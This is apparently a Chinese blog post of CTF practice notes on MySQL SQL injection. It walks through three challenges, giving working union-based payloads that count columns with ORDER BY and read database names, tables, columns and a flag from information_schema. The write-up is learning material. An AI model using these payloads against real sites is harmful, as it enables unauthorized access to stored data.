0%

SQL注入

关于SQL的刷题记录

SQL注入

image-20220204192950568

首先查看源码发现name为id,并且是post传参

image-20220204193042721

用hackbar查查有几个数据,发现只有三个

测试发现当post内容加时,内容就显示不出来

image-20220204193404946

而加’#,发现又正常显示

image-20220204193459549

这个题完全就是考察SQL注入,这个题目前来看有两种解决方法,在这里记录一下。

第一种解决方法

首先先说点知识,1、MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。利用这个可以获取表名,列名等
2、查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了
先查个字段,因为有三个数据,就用4吧order by 4#

image-20220204193859153

显示依然正常,那再试试5

image-20220204193934206

这个时候发现没有返回值,所以可以确定字段就是四个,接下来,爆库名id=-1' union select 1,2,3,4#,把id变为-1是因为如果id有回显的话,我们查询的内容就不能显示了,所以要换一个id没有内容的值

image-20220204194415205

这样就知道每一个数值所在的位置,然后开始爆库,id=-1' union select 1,database(),user(),version()#,这个有必要说明一下,database()是查询当前数据库名,user()是为了查询当前用户名,version()是为了查询数据库版本

image-20220204194828472

然后爆表名,这个是固定格式,id=-1' union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#,得到两个表名fl4g,sc

image-20220204200949037

再然后爆列明,id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'#

image-20220204201124534

得到列名skctf_flag

表明单引号要用英文的’',当然不加也可以,但是表名要用十六进制

最后一步就是查询想要的数据了

image-20220204201353733

得到flag

第二种解决方法

sqlmap跑,目前还在了解,学会了再更!!

整数型注入

image-20220215171031084

当输入1时发现有回显,并且url也发生变化

image-20220215171141632

使用order by语句查询字段数

image-20220215171256788

image-20220215171320208

当输入3的时候发现没有回显,说明只有俩个字段数据。

使用union联合查询检测信息回显位置

id=1 union select 1,2

image-20220215171433860

发现并不可以,由于页面只允许返回一行内容,可以修改参数为-1,使得需要查询的数据回显。image-20220215171608940

输入一下来获取当前数据库名

id=-1 union select 1,database()

image-20220215171752124

输入一下获取所有数据库名

id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

image-20220215171840187

输入一下查询数据库sqli表名

id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

image-20220215171942844

输入以下获取flag的所有字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

image-20220215172155435

输入以下获取指定数据库的表的列的内容

id=-1 union select 1,group_concat(flag) from sqli.flag

image-20220215172245055

得到flag!

字符型注入

image-20220215172440795

测试后发现和上边的那个整形注入一样,只有两个数据。回显只有两处:ID和Data。

联合查询

123’ union select database(),2 #
制作不易,如若感觉写的不错,欢迎打赏